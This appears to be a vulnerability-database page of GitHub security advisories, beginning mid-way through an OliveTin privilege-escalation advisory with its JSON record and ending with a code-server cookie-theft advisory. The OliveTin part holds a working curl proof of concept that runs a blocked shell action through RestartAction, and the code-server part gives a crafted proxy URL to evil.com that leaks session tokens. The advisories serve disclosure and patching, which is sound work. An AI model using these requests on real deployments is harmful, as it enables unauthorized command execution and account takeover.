  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"lowpass"}')

LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | \
  awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')

Attempt direct execution (correctly blocked)

LOW_RUN=$(curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"actionId":"restart_bypass_action"}')

echo "$LOW_RUN"

This should return permission denied.

Extract executionTrackingId from response:

TRACKING_ID=$(printf '%s' "$LOW_RUN" | \
  sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1)

echo "Tracking ID: $TRACKING_ID"

Call RestartAction:

curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d "{\"executionTrackingId\":\"$TRACKING_ID\"}"

Verify command executed:

cat /tmp/olivetin_restart_bypass.txt

Output:

pwned

Impact

Privilege Escalation
ACL Bypass
Unauthorized Command Execution

Any authenticated low-privilege user can execute actions they are not authorized to run if: - Guest has broader permissions - RestartAction is enabled Because OliveTin actions execute system shell commands, this can lead to: - Arbitrary file writes - Sensitive data exposure - Potential full host compromise (depending on OliveTin runtime privileges)

This affects all deployments where: - guest.exec = true - A restricted user has exec = false - RestartAction endpoint is accessible

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260305000458-cb46a597b246"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-250",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T20:53:46Z",
    "nvd_published_at": "2026-03-06T21:16:16Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authentication context confusion vulnerability in RestartAction allows a low\u2011privileged authenticated user to execute actions they are not permitted to run.\n\nRestartAction constructs a new internal connect.Request without preserving the original caller\u2019s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.\n\nThis vulnerability allows a low\u2011privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.\n\n### Details\nAffected files:\n\nservice/internal/api/api.go\n\nservice/internal/auth/authcheck.go\n\nRelevant code in RestartAction:\n\n```\nreturn api.StartAction(ctx, \u0026connect.Request[apiv1.StartActionRequest]{\n    Msg: \u0026apiv1.StartActionRequest{\n        BindingId:        execReqLogEntry.GetBindingId(),\n        UniqueTrackingId: req.Msg.ExecutionTrackingId,\n    },\n})\n```\nAuthentication in StartAction:\n```\nauthenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)\n```\nIssue:\n\n1. RestartAction creates a new connect.Request object.\n\n2. The new request does not preserve caller headers or cookies.\n\n3. UserFromApiCall() attempts to resolve the user from the request.\n\n4. Because authentication headers are missing, it falls back to the guest user.\n\n5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.\n\n### PoC\n\nConfiguration:\n```\ndefaultPermissions:\n  exec: false\n\nusers:\n  - username: low\n    password: lowpass\n    permissions:\n      exec: false\n\n  - username: guest\n    permissions:\n      exec: true\n\nactions:\n  - id: restart_bypass_action\n    shell: |\n      echo \"pwned\" \u003e /tmp/olivetin_restart_bypass.txt\n```\n\nSteps to reproduce:\n\nLogin as low user\n```\nLOW_LOGIN=$(curl -sS -i -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"low\",\"password\":\"lowpass\"}\u0027)\n\nLOW_SID=$(printf \u0027%s\\n\u0027 \"$LOW_LOGIN\" | tr -d \u0027\\r\u0027 | \\\n  awk -F\u0027[=;]\u0027 \u0027/^Set-Cookie: olivetin-sid-local=/{print $2; exit}\u0027)\n```\nAttempt direct execution (correctly blocked)\n```\nLOW_RUN=$(curl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \u0027{\"actionId\":\"restart_bypass_action\"}\u0027)\n\necho \"$LOW_RUN\"\n```\nThis should return permission denied.\n\nExtract executionTrackingId from response:\n```\nTRACKING_ID=$(printf \u0027%s\u0027 \"$LOW_RUN\" | \\\n  sed -n \u0027s/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p\u0027 | head -n1)\n\necho \"Tracking ID: $TRACKING_ID\"\n```\nCall RestartAction:\n```\ncurl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \"{\\\"executionTrackingId\\\":\\\"$TRACKING_ID\\\"}\"\n```\nVerify command executed:\n```\ncat /tmp/olivetin_restart_bypass.txt\n```\nOutput:\n```\npwned\n```\n\n### Impact\n- Privilege Escalation\n- ACL Bypass\n- Unauthorized Command Execution\n\nAny authenticated low-privilege user can execute actions they are not authorized to run if:\n- Guest has broader permissions\n- RestartAction is enabled\nBecause OliveTin actions execute system shell commands, this can lead to:\n- Arbitrary file writes\n- Sensitive data exposure\n- Potential full host compromise (depending on OliveTin runtime privileges)\n\nThis affects all deployments where:\n- guest.exec = true\n- A restricted user has exec = false\n- RestartAction endpoint is accessible",
  "id": "GHSA-p443-p7w5-2f7f",
  "modified": "2026-03-06T22:52:19Z",
  "published": "2026-03-05T20:53:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30225"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin\u0027s RestartAction always runs actions as guest"
}

GHSA-P483-WPFP-42CJ

Vulnerability from github – Published: 2025-05-09 19:34 – Updated: 2025-05-09 21:39

Summary

code-server's session cookie can be extracted by having user visit specially crafted proxy URL

Details

Summary

A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.

Details

Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.

Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

Patches

Patched versions are from v4.99.4 onward.

Severity

8.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "code-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.99.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-09T19:34:35Z",
    "nvd_published_at": "2025-05-09T21:15:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.\n\n### Details\n\nFailure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://\u003ccode-server\u003e/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user\u0027s session token.\n\n### Impact\n\nAny user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.\n\nNormally this is used to proxy local ports, however the URL can reference the attacker\u0027s domain instead, and the connection is then proxied to that domain, which will include sending cookies.\n\nWith access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.\n\n### Patches\n\nPatched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.",
  "id": "GHSA-p483-wpfp-42cj",
  "modified": "2025-05-09T21:39:15Z",
  "published": "2025-05-09T19:34:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47269"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/code-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/releases/tag/v4.99.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "code-server\u0027s session cookie can be extracted by having user visit specially crafted proxy URL"
}

CWE-441

Unintended Proxy or Intermediary ('Confused Deputy')

Summary

Affected Versions

Affected Component

Vulnerable Code

Conditions

Proof of Concept

Impact

Prior Art

Impact

Patches

Workarounds

Impact

Patches

Workarounds

Impact

Patches

Workarounds

References

Summary

Details

PoC

Impact

Summary

Details

Impact

Patches

Mitigation

Mitigation

CAPEC-219: XML Routing Detour Attacks

CAPEC-465: Transparent Proxy Abuse